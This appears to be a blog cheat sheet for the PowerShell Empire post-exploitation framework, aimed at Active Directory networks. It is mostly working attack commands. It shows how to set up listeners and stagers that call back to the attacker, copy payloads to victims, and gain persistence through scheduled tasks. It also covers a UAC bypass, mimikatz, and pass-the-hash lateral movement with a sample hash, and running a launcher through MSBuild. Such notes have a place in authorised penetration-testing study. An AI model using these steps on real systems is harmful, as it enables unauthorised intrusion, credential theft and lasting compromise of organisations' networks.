Mainly post exploitation for AD environments. (Download — also included in Kali sources)
Quick usage for privilege escalation
- Create a listener.
listenersuselistener httpset Host $localIpset Port 8080
executeback
- Create a payload.
usestager windows/launcher_bat(or _vbs, _xml, …)set Listener httpexecute
- Copy the created payload to the target.
- (Let) execute it on the target.
- Rename the listener.
listenersinteract $listenernamerename $betternameback
- Start background tak on the target for persistance.
usemodule powershell/persistence/userland/schtasksset Agent $agentnameset Listener httpset IdleTime 3runback
- Now start to work…
- Start with
usemodule privesc/powerup/allchecks…
- Start with
General usage
Metasploit syntax / PSE syntax
- use multi/handler / listeners & uselisteners <TAB> & uselisteners http
- run / execute
- sessions / agents
- use / usemodule
- rename CWS… newname
- sessions ‑i $id / interact $id
- download
- upload
- mimikatz
- shellsysinfo
- ps
- migrate $pid / psinject $listener $pid (ex. psinject http $pid)
Note: After usemodule don’t forget to go “back” and to “interact” with the agent to see job results!
Commands with an asterix require a high-integrity Empire Agent. To upgrade one which is currently an Administrator, use powershell/privesc/bypassuac_fodhelper before running a command marked with an asterix.
Lateral movement
Use one of the modules in powershell/lateral_movement.
(Empire: powershell/lateral_movement/invoke_smbexec) > set ComputerName JEFF (Empire: powershell/lateral_movement/invoke_smbexec) > set Listener http (Empire: powershell/lateral_movement/invoke_smbexec) > set Username nicky (Empire: powershell/lateral_movement/invoke_smbexec) > set Hash b40c7060e1bf68227131564a1bf33d48 (Empire: powershell/lateral_movement/invoke_smbexec) > set Domain corp.com (Empire: powershell/lateral_movement/invoke_smbexec) > execute
Switching to Metasploit
Create a meterpreter payload, upload it in Empire and execute it with shell C:\…\payload.exe.
Other way around: Create a listener in Empire and upload it in a meterpreter session.
Upgrading a normal shell
- listeners
- uselistener http
- set Host //$localIp
- execute
- usestager windows/launcher_xml
- set Listener http
- execute
- Upload the generated launcher.xml file to the victim
- Execute it on the victim as follows:
C:\Windows\Microsoft.NET\Framework\v4.0.30319/MSBuild.exe launcher.xml
Persistence
If you are using the powershell/persistence/userland/schtasks module to archieve persistence, try to use the attribute IdleTime. This creates a new agent each n minutes.
Leave a Reply
You must be logged in to post a comment.